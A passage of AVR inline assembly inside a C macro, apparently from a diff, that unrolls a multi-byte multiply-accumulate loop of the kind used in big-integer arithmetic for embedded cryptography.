r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r6, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r7, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r7, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r8, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r8, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r9, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r9, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r10, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r10, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r11, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r11, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r14, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r15, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r16, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r17, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r18, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r19, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" 